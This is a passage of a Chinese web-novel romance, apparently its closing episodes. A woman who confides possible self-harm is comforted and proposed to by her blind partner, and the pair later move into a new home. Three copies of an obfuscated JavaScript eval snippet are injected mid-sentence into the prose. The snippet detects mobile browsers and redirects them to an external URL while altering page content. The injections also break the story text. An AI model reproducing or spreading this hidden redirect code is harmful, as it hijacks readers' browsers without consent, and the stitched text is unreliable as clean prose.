声音冷冷从背后传来,“秦叠。” 不是问句。 她下意识想应答一声,但秦叠哽了哽,压着嗓子回道:“认错人了。” 似乎因为惊讶,拉她的手指蜷缩了下,紧了紧力道,又猛地松开。池晚桑脸上看不出什么表情,眉头却似乎一直没有抚平。 “抱歉。”他沉着嗓子说。 秦叠走得心神皆乱,总是忍不住去想池晚桑见到空无一人的病房会怎么样。 如果她不想让他找到,果真这么容易。 风雪夜里,路上几乎没有车和行人,雪花就肆无忌惮又慢慢悠悠地平铺了一层又一层。 秦叠只穿了件白色的加厚长款羊毛外套,她将手往袖口里缩了缩,等着绿灯亮起的一瞬过街。 可过了街,两侧的店铺都关门了,黑乎乎的,只有身后的医院还灯火通明。 她又该朝哪边走呢? 兜里手机震动了好几次,秦叠知道是谁。 此时才茫然地接通,她心平气和地说:“别担心,我就是去看看小橙子,葬礼快结束了。” 电话那头空了很久没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996785|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,池晚桑的声音才慢慢出来,“秦叠,葬礼已经结束很久了。” 小橙子埋在了秋天。寒风还没席卷这个城市的时候,他妈妈在层林尽染的山头陪了他一整天。 那里天高地阔,有山有水,他这短促的一生想看见的,大多都在这里了。 就是没有海。 秦叠讪笑一声,声音还是淡淡的,她低下头,说:“是嘛。” 池晚桑问:“秦叠,你能帮我看看现在能不能过街吗?红绿灯提醒好像坏了。” 听到这话,她忽然转过身去,斑马线上只有她留下的一串脚印,用不了多久就会被堙灭。而在脚印尽头的,马路对面,赫然站着一个人。 “你……” 秦叠眸光动了动。 池晚桑似乎是知道她看见自己了,露齿微笑着,抬高一只手朝对面晃了晃。 虽然在他眼里,全是黑暗,但是他知道有个人在对面看着自己,得保持微笑。 他说:“不是谁路过我,都会看我看那么久的。” 他在秦叠路过自己的时候,感受到了离别和留恋。眼神像是有声音,字字在道珍重,句句在说爱意。 是任何的别人都不会让他感受到的。 还有她身上淡淡的橘子味,医院的消毒酒精也掩盖不过去。 电话里,池晚桑噗嗤一声笑了,像是想起什么好玩的事,眼睛里却莹莹泛着光,“你不是说我会算命吗?我算出来,今晚你不会走。” “我就来找你了。” “池晚桑。”秦叠猛地没绷住,声音先崩溃了起来,“我,我可能有自残倾向,我……我不想伤害你。” 她这回的声音很大,哭腔在电话里传入右耳,左耳又清晰地听见对面的人在哽咽。 池晚桑的心猛地揪在一起。 他没等秦叠的指示,迈步朝街对面走过去。 “所以,当时,我可能是自杀,你懂吗?我这种人,不值得……” 她努力压抑着哽咽,下唇咬出一丝血腥。 可池晚桑还在朝前走,马路上两个人的脚印交缠在一起。 “秦叠。”池晚桑的声音透过手机,清晰而温柔,也许是紧贴着耳边的原因,显得沉静又温暖。 他只是缓缓说:“秦叠,你先听我说,你摸摸自己的手心,有什么?” 秦叠的手紧紧捏成拳头,压到伤口,还有些作疼,她不明白,说:“什么都没有。” 池晚桑终于走到她对面,将秦叠揽入怀里,宽大的衣袍将她几乎罩住。她听见池晚桑无奈地说了声:“这么冷,出来也不多穿一件。” 他又柔声说:“有的,有伤口。医生说是挣扎自救的过程中留下的。你从来没有放弃过自己,为什么要我放弃你?” 秦叠双手垂下,仍由他抱着,捏紧的拳头松了松,去抚摸手心那凹凸不平的疤痕。 她记得,自己当时想抓住什么东西,被翘起来的松树皮给剜掉手心好大一坨肉。 秦叠松开紧咬的下唇,声音小小的,从他胸口传来。 “真的吗?” 广场中心,钟楼敲响十二下,大雪纷飞的夜里,钟声有种西方童话故事的梦幻。 不过这里没有灰姑娘,更没有王子,而每个人都在用力地生活。 池晚桑扶着她的肩膀将两人推开一小段距离,笑了笑,将一个拳头伸在秦叠面前,手心朝上,慢慢展开。 “生日快乐,老婆。” 雪地里,说得每一句话都似乎有温度,哈着热腾腾的气缓缓上升。 而他手心,有一颗戒指,格外耀眼。 64. episode64 池晚桑的手指很好看,指节分明。捏着拳头的时候,手背青筋脉络清晰,他皮肤很白,像是透明一般。 而那戒指在红润的掌心留下了些印迹,显然是攥得太紧了。 雪花变大了些,形状完整的落在他掌心,融化之前衬得那枚戒指独特又闪耀。 秦叠伸手拿起那个东西,“吉他弦?” 池晚桑笑了笑,“我刚认出你的时候,你说要给我弹吉他,结果琴弦断了。后来又断了一次,我都收起来了。” “首饰店的老板说,可以将两根琴弦缠绕在一起,然后加上钻石点缀,不需要太大,几颗小的,就像天上的星星一样。好看吗?” 秦叠擦掉眼角的湿润,嘟着嘴又快要哭了,这辈子没今年泪水这么多,闰年吗? “好看。” 她的声音闷闷的。 “我没放弃你,所以你也不要放弃我,行吗?”池晚桑的手在她头上理了理被风吹乱的头发。 “这么晚,一个人出来,我会担心的。” 其实她早就在自救了。池晚桑说。 不然怎么会平平安安长到这么大。 辛苦你把自己照顾得这么好,坚持到了我来找你。 三毛说,心之何如,有似万丈迷津,其中并无舟子可以渡人,除了自渡,他人爱莫能助。 “谢谢。” 秦叠垂下眼帘,踮脚吻了上去。池晚桑的体温很暖和,雪花落在脸上又明显有冰凉触感,真实得像是双脚都完全踏在了地上。 她很久没这样踏实地站着了。 池晚桑吃到一股血腥味,不由地皱了皱眉。 进而回以更加深入的吻。 在这个风雪夜,归人都找到其来处。 他们爱的从来不是小时候的记忆和美好的过往,不是完全的完美,不是处于一帆风顺和平安呵护的安稳。 他们爱的是春风吹又生的彼此。 是金鱼吐出的泡沫,只争一瞬。 是一无所有,又拼尽全力的对方。 回到室内,两人等了好半天才恢复温度。 刚才在室外又是哭又是走的,竟像两个铁人,不知不觉中体温已经快消耗殆尽了。 据说喜欢一个人,是喜欢他身上的温度,两人现在倒是一起降温升温。 温当度对。 自动门一开,护士台的人看见两个雪人搀扶着进来,其中一个还拄着盲杖,瞬间吓得不轻。手快的都要推着移动病床出来,给医生打好招呼了。 谁知两人只是走得慢,站在大厅门口,还相互搓了会儿手,捂了捂耳朵,才慢悠悠上楼。 两个护士不禁怀疑了下自己这里不是酒店大厅吧? 回到房间,秦叠终于把之前录的声音给池晚桑听。两人一人戴一边耳机,坐在病床上。对面是窗户,白雪纷飞。 秦叠晃了晃悬空的腿,发现旁边这人双脚稳稳当当立在地上,悄咪咪瞪了他一眼。 反正他也看不见。 耳机里又响起来秦叠小时候拙劣又非得展现自己的嗓音,一个人听的时候本就有些羞耻了,秦叠皱了皱鼻子,伸过手去快进。 池晚桑挑了挑眉,双手撑在背后,一副看热闹不嫌事大的表情,“怎么快进了?这段我都快背熟了,要不要现场给你展现一段?” “谢谢您嘞,少说话多喝水。” 秦叠跳过了耻辱的黑历史,忽然听到熟悉的声音。 也是山林间的生物,青草冒出嫩芽,溪水潺潺而过。 “你好——” 泉水退了回去。 她将头靠在池晚桑肩膀上,问:“那个时候你竟然就带着了。” 池晚桑吻了吻她眉心,也把头轻靠在她头上,“我没办法拿着相机给你拍照,更没办法录下这些瞬间,只能留住你的声音了。” 电流声音闪过。 海浪拍打礁石,傍晚万里无云,整个海面都是银白色的月辉,远处几声海鸟鸣叫,由远及近,又到远方。 “妈妈大海是什么颜色的?……” 是小橙子的声音。 他们第一次见面的那个晚上,小孩子对大海和天空的颜色有无尽的遐想。秦叠还破坏了他对海苔味道的幻想,差点成了罪人。 后面还有很多,几乎这几个月他们难忘的瞬间都在这里。 还有秦叠在河边劝他的时候,那是他们正式接纳彼此的瞬间。有发布会上两个人说的悄悄话,因为离得近,录得一清二楚。有每个再普通不过的早晨,他们互道早安,然后一起吃午饭,一起回家,关上卧室门,互道晚安。 然后是秦叠那天录的声音,没有很多,只有一只鸟的鸣叫声,清晰而悠远。 池晚桑正要关掉,就听见耳机里又响起来了声响。 是秦叠的声音。 当时和池向榆在下面百无聊赖的时候录的,因为一边不想让池向榆听见,一边又希望录清楚,整个过程十分割裂。 先是很小声的自言自语:“哈哈哈,池晚桑你的秘密被我发现了吧,小子想了我这么久都不来找我,该打!” 此时旁边又传来池向榆百无聊赖的声音,更大更清晰:“诶,你说我们俩会不会饿死在这儿?再不然就被野狼叼了去,你香一点,你自己小心点。” 秦叠对他大声说:“如果我们马上就要死了,你想留给谁一句话?” 本以为那小子不会认真作答,没想到他把双手枕在脑后,转着眼珠思考了一阵,说:“我哥吧。” “想告诉他,你其实不讨厌他?” “诶诶诶。”池向榆猛地坐起来,脸红了一片,“你搁这儿套我的话呢?救援人员马上就到了,不要干这些吃力不讨好的事。” 秦叠又转身小声念叨:“池晚桑,其实你弟弟很想你,他就是脸皮薄,我帮他说。我也很想你。” “em……虽然你很喜欢晒太阳,但是我总感觉你也在躲着太阳,害怕把自己暴露在阳光下面。如果我这次好好地回去,我会带着你习惯阳光,好吗?” “现在林子里很安静,嗯,除了你的弟弟之外。”秦叠仰靠在树干上,利用这里天然的BGM,声音轻柔得像是做夜间广播。 “既然都已经这样了,那我当一回你的眼睛吧,让你看见我看见的东西。这里的树都很直,树叶很高,林子里开阔又阴凉,闭上眼睛,你能听见毛虫在蠕动,蚯蚓在破土……” “晚安,老公。”絮絮叨叨一阵后,她轻声说。 秦叠忽然抬起头,将将撞上池晚桑的下巴,两个人哎哟了一声,又不约而同帮对方去揉,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007085|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着对方傻笑。 笑了一阵,秦叠揉揉自己头顶,“怎么样?晚安音频,老婆专供。” 池晚桑的笑容未减,温柔地“看”着她的方向,“谢谢,我很喜欢。” “其实啊。”秦叠想起事发的时候,“可能你说得的对,我一直没放弃自己,不过很大的原因是因为你啊。” 她笑了笑。 当时仰头看见黄沙漫天,将自己完全包裹的瞬间,她听见了熟悉的声音。 不是池向榆在喊自己,那小子来不及说话,直接上手带着她滚下了山坡。 她听见的是池晚桑的声音,他在叫她,像平时一样,准备好早餐后,笑着叫她过去吃饭。早早下班,然后等在门口,等她经过时,假装冷酷地问一声要不要一起走。 还有他说的“我们结婚吧”,“我是喜欢你”,“我一直很想你”。 “我当时听见你在叫我,我想着不能死在那儿。”秦叠下巴仰靠在池晚桑肩膀上,“谢谢你,我的老公。” 氛围旖旎,外面寒风暴雪,屋内缠绵缱绻,气息交错间,不知道是谁主动,就局促得不成样子。 也许都清楚早就可以出院了。 幸亏隔壁床上空空荡荡。 这晚注定无眠。 “不行,我没带那个。”池晚桑混沌中抽出一分理智。 秦叠抱紧他,在他耳边轻声道:“没关系。反正会一直在一起,不是吗?” 雪覆盖了一切声音,他们只听见彼此心跳。在热烈地回应。 于是第二天,池晚桑早早地回过神来后,在窗边站着久久没动。 秦叠懵懵懂懂睁开眼睛,就看见他一脸深沉,脸都快皱在一起了,有点追悔莫及那味儿。 “怎么了?后悔了?” 她半开玩笑地问。 池晚桑听见她醒了,若有所思地转过头来,望向她这边,问:“要是有孩子了,我们得换个地方住,那个地方太小了。” 秦叠有些想笑,还挺负责,不过这个问题现在想着实压力有些大。她趿拉着拖鞋走到他身后,环住池晚桑,俏皮地在他腹肌上捏了捏,将头靠在他背上。 她笑着叹了口气。 “你怎么这么可爱呢。我现在手头只有三万,换房的事情,可能任重而道远了。” 谁知面前的人顿了顿,说:“其实,城西的别墅区,我有一套房,嗯,东边江景房有一套顶楼的大平层。海景房就是有点远,其实……也有一套。” 这语气……会有人数自己房子,越数越心虚的吗? 没有。 谁知池晚桑忽然又找补了句,“不过也是可以买一套的,你有别的想法吗?” 他显然是误解了秦叠的想法,秦叠只是想要多一间房间,对具体什么景色,大平层还是跃层式更是想都不敢想。 非常抱歉,贫穷限制了她的想象。 “倒也不是……这个……”秦叠不知道该怎么措辞,才能显得不那么冒犯。 “有个问题。”秦叠慢慢点点头,松开他,楞在原地,忽然有种想举手的冲动。 之前池晚桑是说过自己有点小钱,她以为顶多十几万,房子首付可能得靠他了,谁知道别人直接可以拎包入住。 “你,为什么,买这么多套房……” 65. episode65 池晚桑顿了顿,有些不好意思道:“一开始只是想给苏木一个家,他毕竟跟我一起打拼这么久,结果他骂了我一顿,说我有病,没要……” “然后,想给池向榆一套,他喜欢热闹的地方,就买在市中心,结果他什么也没说,也拒绝我了……” 秦叠眨巴着眼睛,嘴巴快合不拢了,竟然是像送菜包一样送房子?果然还是得当老板才行。 她捏了捏自己的钱袋子,同志仍需努力。 “那……那江景房和海景房,你本来是打算送给谁的?” “海景房我偶尔会过去住一段时间,那边的声音和这边不一样,夏天的晚上海风很舒服,会想换个环境。至于江景房……” 池晚桑有些迟疑地顿了顿。 还真是每套房都有必须买的理由,这何尝不是另一种层次的剁手党,秦叠抿了抿唇,等他的回答。 “江景房修的很高,周围房子据说都矮,我想着站在窗前,能在某一刻,穿越房梁和墙壁,人海和游船,我的视线能和你相遇吧。即使我们都不知道。” “那……你为什么一直住这个小房子?”秦叠掰开他的手,一根一根又把手指给捏成拳。 池晚桑只是笑笑,任由她玩弄自己的手,说:“大的太空了,一个人住不习惯。” 门口响起敲门声,秦叠惊得习惯性想要把手缩回去,却被池晚桑一把拉住,他扭头对门外说:“请进。” 余庆这才抱着热腾腾的包子走进来,脸上的笑看见池晚桑后就没掉下来。秦叠要不是知道他的性取向,这孩子像是饿狼看见食物了一样盯着池晚桑,她这会儿该有点危机意识了。 “你吃错药了?”她一动不动打量着余庆,问。 余庆毕恭毕敬把小桌子摆在床上,余光瞥见两人拉在一起的手,抿了抿唇憋着什么似的。秦叠差点没翻个白眼,给他一拳。 他把包子和米粥推到秦叠面前,说:“师姐,学校门口买的,老味道,有保障。” 秦叠接过来,眼睛却一直盯着余庆快咧到耳根后面的嘴巴,他那小眼神飞速在窗户边的弹簧床上瞟了一眼,又一脸“我懂,我懂”地点头。 秦叠这才反应过来这家伙前阵子期中比较忙,不知道池晚桑在这边住,正打算解释一下。 抬眼间撞上余庆“我看透一切”,贱兮兮又贼眉鼠眼的表情,舔了舔口腔侧壁,把话给咽下去了。 这我老公,陪床很正常吧。 秦叠不想管这位神经质,有些担心之前自己不会在别人眼里也是这幅样子吧。毕竟之前没觉得余庆有这么大毛病。 正想给池晚桑递过去一个,就看见余庆像个太监一样,满脸堆笑,双手上供给池晚桑,一脸八卦:“姐夫,你昨晚是不是在这儿睡的?” 池晚桑没看见他一进门的怪异,被冷不丁这么一问,楞了下,“……啊?……啊。” 因为刚醒没多久,嗓子里还带着晨雾的清凉。 秦叠就冷眼看着余庆无声地庆祝了一声,摆出大力水手的胳膊,用力地比了个口型。 “yes!” 然后他拿出兜里的电话,虽然屏幕只亮了一瞬,但是秦叠还是看见了“吃相愚”三个字。 余庆小声对着手机话筒说了声“谢谢义士,明天把作业给你。”就挂了吃相愚的电话。 此时隔壁屋里,只有池向榆受伤的世界达成了。 早上余庆大发慈悲,顺便给他带了早饭,他本来不想要,奈何姓余的人话太密,一直没走,聊着聊着,就吃完了。 顺便还形成了两个阵营,一个是余庆主张的“池晚桑配不上秦叠”,一个是池向榆秉持的“秦叠配不上池晚桑。” 两人于是把对方人物的任何丢脸小事都给抖了出来。然后又聊到了这段感情能否持续上,目前看来,余庆大获全胜。 代价是他的检讨书。因为前不久他管学校母猫的闲事,被猫妈妈抓伤了,导员对他很无语,让他自己承认错误…… 秦叠和池晚桑出院后,池向榆因为伤着骨头,只能多住一阵子,于是他开始在隔壁狂赶检讨。 因为余庆那傻叉,记错了时间,今天下午就要交…… 秦叠和池晚桑两人互相准备了一套措辞,也检讨检讨这几天怎么没去养老院的原因,然后一顿演,还好老年人也懒得计较这些琐碎,只要两个人都好好的,黎宜也没什么多余想问的。 出养老院,池晚桑又没有急着回去的意思,拉着秦叠的手往旁边的游乐园的方向走。 秦叠警惕地像个秤砣坠在他身边,“去哪儿啊?” “顺路,去游乐园玩,你之前不是爱在这儿门口逛吗?”池晚桑脚步没有停下的意思,在他看来,秦叠这都是不好意思,欲拒还迎。 “当时还遇见外婆了,可惜你没告诉我你们是谁。” 想到这儿,他叹了口气。 “哎,其实外婆当时记得你,夸你长得好呢,还记得吗?”秦叠想着转移话题,就拽着池晚桑往相反的方向走。 池晚桑这才停住,有些迟钝地问:“不想去吗?” 秦叠抬头望了眼不远处半空中一闪而过的过山车,伴随着鬼哭狼嚎和声嘶力竭,叫的人有些七窍生烟,她擦了擦手臂上的鸡皮疙瘩。 还是认怂吧,命重要。 “……那个,我嘴硬,我,其实不敢……” 池晚桑埋头礼貌性憋笑了会儿,牵着她的手往另一个方向走。 “那行。” 他腿长,秦叠快步走了几步才跟上,问:“还不回去吗?” “回。” 于是他们回到了传说中的江景房,至于最后选择这里的原因,一来是这里在市区,繁华些也方便生活,二来离工作室也不算太远,不至于麻烦。 房子在三十二楼,视野开阔,落地窗透进来大肆的日光,脚下江水向东,水波粼粼。在这里果然可以看见一大半的城市,稍远处的隐埋在雾气里,只能看见长条形的轮廓。 她以前寄住在外婆家的时候,很喜欢表现。可能是所有寄居的人的通病,害怕一点质疑和叹息,于是她常常没事就打扫院子,清洗衣服,做了很多事都是想要得到认可。 害怕某一天爸妈会把自己丢在哪儿,害怕外婆和舅舅不会想抚养自己。 现在她和池晚桑有了自己的家,秦叠转身看着池晚桑懒怠地靠坐在沙发上,“望”过来的眼睛里,满带笑意。 似乎有一束光落在了她身上。 她朝池晚桑走过去,躺进他怀里,笑着说:“真好。” 搬家那天,聆镜热度也正式破百万,网络上关于池晚桑和秦叠的毒唯和CP粉吵个不停。 但这都没影响众人欢呼的氛围,除了黎宜打来一通电话。 电话里黎宜悲痛得像是被侵犯了的良家妇女。其实,一开始是打电话来抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019463|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怨聆镜都已经上线了新的剧集,池晚桑却没给他提前享受的福利。 后来听到这边一片欢腾,瞬时间意识到自己被孤立了,一个人在那边撒泼打滚,举旗抗议。 于是苏木和陈藻浩浩荡荡去养老院把这位超龄儿童给请了过来,一同参与暖居活动。 但暖到一半,这两位主角,却因为公务繁忙,光环太亮,被主办方临时叫去补一场戏。 秦叠和池晚桑又忙不叨丢下一屋子,不像客人的客人。只希望回来的时候屋里还有地方能落脚。 但他们到聆镜后,资方发来的片段,却让两人更加无所适从。 就是,怎么说,没有台词,胜似有台词……全是语气助词,哼哼哈哈嗯嗯哇哇的。 光是看着这台词,秦叠心里就一紧。 她难道要和池晚桑录这个有色视频? 秦叠悄咪咪仰头看向旁边的人,也不知道他耳机里AI念出来,是什么个鬼样子。 池晚桑似乎感受到了秦叠的呼吸,睫羽微颤了下,他半阖着眼,问:“准备好了?” “啊?”秦叠将头埋进剧本里,装作在很努力地认字,“嗯,嘶……” 池晚桑笑着拍了拍她的额头,“词背错了,走吧,一会儿就好了。” 秦叠呆坐在沙发上,真心不想挪屁股,因为她看到资方特别标注:亲的声音,也要有。 要响! 这爸爸就是爸爸啊。 …… 这辈子没干过这么疯狂的事。 秦叠仰倒在草坪上的时候,内心千头万绪,闭上眼睛,张开手臂,希望风能消解一点脸上的燥热。 “有些声音,可以不用演……” 她摇摇头,赶走刚才池晚桑的声音。 不能再想了。 不远处有人在玩蒙着眼睛抓人的游戏,周围的小朋友躲得离他八丈远,笑声咯咯咯的,这一片草坪这么大,又怎么能抓住呢? 秦叠双手枕在头下,望向坐在身边的池晚桑,想起每一次办完事,这个人都在门口等着自己。她笑着说:“池晚桑,放心,我不会让你来抓我,我一直在你看不见的地方,靠近你哦。” 说完她坐起来,飞速在池晚桑侧脸留下一个吻,又若无其事地去喝水。 “是吗?”池晚桑伸手一把揽过她的肩膀,另一只手也拧开旁边的矿泉水瓶,灌了两口。 他的侧脸逆着光,秦叠虚着眼睛只能看见他喉结不断起伏,光影勾勒出他们幸福的样子。 她笑了笑,也跟着又喝了两口。 周围有人抱着吉他上了小山丘,树上黄鹂感受到了春风,绿荫渐满。 “渐渐地忘记,忘记了时间。 我只要沿着,记忆的路线……” 就这样坐着,一瞬间好像有一辈子那么长。 但没有一个人想起家里还有一群酒鬼横七竖八地躺在地上,黎宜皱着眉头啧啧啧了半天,拄着盲杖想出门,却害怕不小心踩死一两个。 只能缩回沙发上,戴上耳机听最新更新的广播剧,等他们回去。 一曲歌毕,东风徐来,树上黄鹂声声清脆。 河床消融了旧冰,鲜水滋润新芽,林子里的落叶消失在时间的缝隙。 春天把陈年封藏了。 你, 要听新故事吗? 莫道桑榆晚,为霞尚满天。 【正文完】